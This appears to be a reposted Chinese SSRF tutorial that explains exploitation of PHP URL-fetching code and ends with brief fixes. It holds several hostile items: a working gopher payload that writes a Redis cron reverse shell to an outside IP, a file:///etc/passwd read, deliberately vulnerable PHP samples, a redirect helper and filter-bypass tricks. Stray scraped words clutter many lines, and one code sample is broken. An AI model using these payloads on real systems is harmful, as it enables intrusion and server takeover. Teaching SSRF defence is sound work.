【SSRF】SSRF漏洞攻擊與防護

0x01 概述

SSRF(Server-side Request Forge, 服務端請求僞造)。
由攻擊者構造的攻擊連接傳給服務端執行形成的漏洞,通常用來在外網探測或攻擊內網服務。php

0x02 SSRF的危害

  1. 掃內網web

  2. 向內部任意主機的任意端口發送精心構造的Payloadsql

  3. DOS攻擊(請求大文件,始終保持鏈接Keep-Alive Always)shell

  4. 攻擊內網的web應用,主要是使用GET參數就能夠實現的攻擊(好比struts2,sqli等)bash

  5. 利用file協議讀取本地文件等curl

0x03 漏洞利用

CURL支持協議tcp

 
 

本地利用ide

# dict protocol (操做Redis) curl -vvv 'dict://127.0.0.1:6379/info' # file protocol (任意文件讀取) curl -vvv 'file:///etc/passwd' # gopher protocol (一鍵反彈Bash) # * 注意: 連接使用單引號,避免$變量問題 curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a' 

遠程利用ui

  • 漏洞代碼testssrf.php(未做任何SSRF防護)
<?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ?> 
  1. 利用file協議讀取文件url


     
     
  2. 利用dict協議查看端口開放
    當端口開放的時候

     
     

     

當端口未開放的時候

回顯

  1. 利用gopher協議反彈shell

待更新。。。

  • 漏洞代碼testssrf2.php
    限制了只能使用HTTP,HTTPS,設置跳轉重定向爲True(默認不跳轉)
<?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True); //限制爲HTTP,HTTPS curl_setopt($ch,CURLOPT_PROTOCOLS,CURLPROTO_HTTP|CURLPROTO_HTTPS); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($url); curl_close(); } $url = $_GET['url']; curl($url); ?> 

此時用file、dict等協議就沒有用了。
此時能夠利用302跳轉進行利用

<?php
$schema = $_GET['s']; $ip = $_GET['i']; $port = $_GET['p']; $query = $_GET['q']; if(empty($port)){ header("Location: $schema://$ip/$query"); }else{ header("Location: $schema://$ip:$port/$query"); } ?> 

0x04 漏洞代碼

curl形成的SSRF

function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); 

file_get_contents形成的SSRF

$url = $_GET['url']; echo file_get_contents($url); 

fsockopen形成的SSRF

<?php
function Getfile($host, $port, $link){ $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if(!$fp){ echo "$errstr (error number $errno) \n"; }else{ $out = "GET $link HTTP/1.1\r\n"; $out .= "HOST $host \r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $content = ''; while(!feof($fp)){ $contents .= fgets($fp, 1024); } fclose($fp); return $contents; } } 

0x05 常見的過濾與繞過

常見的過濾

  1. 過濾開頭不是http://xxx.com的全部連接
  2. 過濾格式爲ip的連接,好比127.0.0.1
  3. 結尾必須是某個後綴

繞過方法

  1. http基礎認證
    http://xxx.com@attacker.com

  2. 利用302跳轉(xip.iowww.tinyrul.com
    2.1 當咱們訪問xip.io的子域,好比127.0.0.1.xip.io的時候,實際上會被自動重定向到127.0.0.1
    2.2 若是利用上面的方法會被檢測127.0.0.1的話,能夠利用www.tinyurl.com提供的服務來進行繞過

  3. 加上#或?便可

4.更改其餘進制的ip

0x06 修復方案

修復方案:

• 限制協議爲HTTP、HTTPS

• 不用限制302重定向

• 設置URL白名單或者限制內網IP

做者:Pino_HD 連接:https://www.jianshu.com/p/86bb349baac1 來源:簡書 簡書著做權歸做者全部,任何形式的轉載都請聯繫做者得到受權並註明出處。
相關文章
相關標籤/搜索